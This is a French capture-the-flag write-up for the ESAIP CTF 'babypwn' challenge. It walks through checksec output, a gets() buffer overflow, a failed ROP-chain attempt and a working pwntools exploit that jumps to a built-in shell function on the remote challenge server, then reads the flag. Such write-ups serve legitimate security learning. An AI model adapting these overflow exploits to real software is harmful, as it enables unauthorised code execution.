Author : Rxphgui


Nous allons aujourd’hui voir le premier challenge d’exploitation de binaire de l’ESAIP CTF. Il s’agissait d’un challenge d’introduction. Pourtant il avait moins de 10 solves. Nous n’avions simplement le binaire ainsi qu’un accès remote.

Introduction

Pour commencer nous allons analyser le binaire de manière assez simple :

[raphgui@ret2arch:Téléchargements/pwn]$ file babypwn              (06-05 16:41)
babypwn: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=950806fb3e5df438288e966762b67e0c218467a5, for GNU/Linux 3.2.0, not stripped

Puis faire un checksec pour voir les protections activées :

[raphgui@ret2arch:Téléchargements/pwn]$ checksec --file=babypwn                                    (06-05 16:41)
[*] '/home/raphgui/Téléchargements/pwn/babypwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

En ouvrant le binaire avec IDA, on voit une fonction main qui prend une entrée user par un gets. On peut donc buffer overflow, le buffer est de 32.

Exploitation

J’ai perdu pas mal de temps sur ce challenge car je n’avais pas remarqué la présence de le fonction Shell. J’ai d’abord utilisé l’option ropchain de ROPgadget qui marchait en local mais pas en remote.

Suite à ça, j’ai commencé à regardé de plus près le binaire, et nous n’avions pas de fonction system de la libc. Il y avait cependant une fonction system qui executait do_system, nous ne pouvions pas directement jump sur cette fonction.

system :

test    rdi, rdi
jz      do_system

J’ai cherché des gadgets pour notre test rdi, rdi. L’exploit ne marchait pas en remote :

from pwn import *

elf = context.binary = ELF('./chall')
p = elf.process()

buffer = b"A"32
sRBP   = b"B"8

gadget_xor         = p64(0x446c99) # xor rax, rax; ret
gadget_mov_rdi_rax = p64(0x455403) # mov rdi, rax 
gadget_ret         = p64(0x4552A5) # ret

addr_system = p64(0x411090)

ropchain = b""
ropchain += buffer
ropchain += sRBP
ropchain += gadget_xor
ropchain += gadget_mov_rdi_rax
ropchain += gadget_ret
ropchain += addr_system

# Username : 
p.sendline(ropchain)

#Password :
p.sendline(b'\x00')

p.interactive()

Get a Shell

Je reste sur deux échecs qui m’ont fait perdre pas moins de 1 heure. Je devais donc flag. :) Je me met à analyser le binaire (les fonctions) et je tombe sur cette fameuse fonction :

0x401d95 <shell>

Nous n’avions plus qu’a jump dessus tel que :

from pwn import *
#r = process('./chall')
r = remote('baby-pwn.esaip-cyber.com', 55555)

buffer = b"A"*32
sRBP   = b"B"*8

addr_shell = p64(0x0000000000401D9e)

payload = b""
payload += buffer
payload += sRBP
payload += addr_shell

#print(r.recvuntil("\n"))
r.sendline(payload)
r.sendline(b'hey')
#print(r.recvuntil("\n"))
r.interactive()
[raphgui@ret2arch:Téléchargements/pwn]$ python3 exploit.py                                                                                                                                                             (06-05 16:56)
[+] Opening connection to baby-pwn.esaip-cyber.com on port 55555: Done
[*] Switching to interactive mode
$ id
uid=1000(challenge) gid=1000(challenge) groups=1000(challenge)
$ cat flag
ECTF{A_l1ttl3_b4by_pwny}